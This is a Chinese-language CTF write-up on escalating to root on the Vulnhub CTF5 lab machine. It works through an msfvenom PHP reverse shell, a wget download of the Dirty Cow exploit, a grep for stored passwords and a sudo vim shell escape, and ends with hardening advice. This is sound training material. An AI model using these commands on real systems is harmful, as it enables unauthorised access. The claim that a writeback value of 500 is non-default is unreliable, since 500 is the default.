CTF5 靶机提权路径对比:脏牛失败与密码查找的 2 种权限提升思路
CTF5 靶机提权路径对比脏牛失败与密码查找的两种权限提升思路在渗透测试和CTF竞赛中Linux系统提权是至关重要的环节。本文将深入分析Vulnhub CTF5靶机中遇到的两种典型提权路径脏牛(Dirty Cow)提权失败与通过密码查找成功获取root权限的案例对比。通过技术选型决策树和详细排错分析帮助安全研究人员建立更系统的提权方法论。1. 环境侦察与初始访问在开始提权分析前我们需要先了解目标系统的基本情况。通过Nmap扫描发现目标开放了以下关键服务PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 80/tcp open http Apache httpd 2.4.38 3306/tcp open mysql MySQL 5.7.29Web应用识别显示目标运行着NanoCMS系统版本号为1.4.11。通过分析发现该系统存在敏感信息泄露漏洞能够获取管理员凭据漏洞类型利用方式获取信息敏感文件泄露访问/data/pagesdata.txtadmin:9d2f75377ac0ab991d40c91fd27e52fd密码破解MD5解密明文密码shannon使用获得的凭据成功登录系统后通过文件上传功能获取了初始shell访问权限# 生成PHP反向shell msfvenom -p php/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f raw shell.php # 上传后触发连接 msf6 use exploit/multi/handler msf6 exploit(multi/handler) set payload php/meterpreter/reverse_tcp msf6 exploit(multi/handler) set LHOST 192.168.1.100 msf6 exploit(multi/handler) exploit2. 提权路径一脏牛(Dirty Cow)尝试2.1 脏牛漏洞原理脏牛(CVE-2016-5195)是Linux内核中的竞态条件漏洞影响2.6.22到4.8.3版本的内核。该漏洞允许低权限用户写入只读内存映射从而修改敏感文件如/etc/passwd。漏洞利用关键步骤创建内存映射到目标文件(如/etc/passwd)通过多线程竞态条件修改映射内容持久化修改到磁盘2.2 靶机环境验证首先检查系统内核版本uname -a Linux ctf5 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux内核版本4.4.0-21理论上在脏牛的影响范围内。我们下载并编译公开的expwget https://www.exploit-db.com/download/40839 -O dirty.c gcc dirty.c -o dirty -pthread注意在实际测试中发现靶机缺少gcc编译器这是第一个警示信号2.3 失败原因深度分析尝试交叉编译后上传执行发现提权失败。通过排查发现以下关键限制因素编译环境缺失目标系统缺少gcc和必要的开发库无法直接编译本地exp交叉编译的二进制存在兼容性问题内核防护机制cat /proc/sys/vm/dirty_writeback_centisecs 500该值被调整为非默认值增加了竞态条件触发的难度用户权限限制sudo -l User andy may run the following commands on ctf5: (ALL) NOPASSWD: /usr/bin/cat当前用户无法写入关键目录限制了漏洞利用效果技术决策点当遇到编译环境缺失时应考虑寻找预编译的二进制版本尝试其他不依赖编译的提权方式检查系统是否有其他可写目录用于存放工具3. 提权路径二密码查找技术3.1 密码查找方法论当内核提权受阻时查找敏感密码信息是另一种有效途径。系统密码可能存在于以下位置用户目录下的配置文件浏览器保存的密码笔记/备忘录文件环境变量历史命令记录3.2 靶机密码查找实践使用grep进行递归搜索grep -R -i pass /home/ /var/www/ 2/dev/null发现关键文件/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note文件内容包含疑似密码字符串50$cent。尝试使用该密码切换用户su patrick Password: 50$cent # 成功认证 sudo -l # 检查sudo权限 User patrick may run the following commands on ctf5: (root) NOPASSWD: /usr/bin/vim通过vim的shell转义功能最终获取root权限sudo vim /etc/passwd :!bash # 在vim中执行shell whoami # root3.3 密码查找技术对比技术优点缺点适用场景脏牛提权通用性强依赖编译环境内核版本匹配且具备编译条件密码查找无需编译依赖信息泄露系统存在配置不当或弱密码SUID提权直接有效需要特定程序存在配置错误的SUID程序计划任务稳定可靠需要等待执行存在可写的计划任务脚本4. 提权决策树与技术选型基于本次实战经验我们总结出Linux提权的决策流程信息收集阶段内核版本uname -a用户权限id和sudo -l运行进程ps aux计划任务crontab -l技术选型评估graph TD A[内核版本是否已知漏洞?] --|是| B[有编译环境?] A --|否| C[检查密码信息] B --|是| D[尝试脏牛等内核exp] B --|否| E[检查SUID/计划任务] C -- F[查找配置文件/历史记录]备选方案准备保持多个终端会话并行尝试不同提权方式记录每一步的操作结果重要提示在实际渗透中应优先尝试非破坏性的提权方式避免触发系统崩溃5. 防御措施与加固建议针对本文涉及的提权方式系统管理员可采取以下防护措施对抗脏牛漏洞及时更新内核版本限制普通用户安装编译工具# 禁用非特权用户使用gcc chmod 750 /usr/bin/gcc防止密码泄露定期检查用户目录下的敏感文件实施严格的权限控制# 限制用户目录访问 chmod 750 /home/*系统监控监控敏感文件的异常修改记录特权命令执行# 启用sudo日志 Defaults logfile/var/log/sudo.log在CTF5靶机的实战中两种提权路径的对比揭示了渗透测试中灵活应变的重要性。内核提权虽然强大但依赖环境条件而细致的密码查找往往能在受限环境中打开突破口。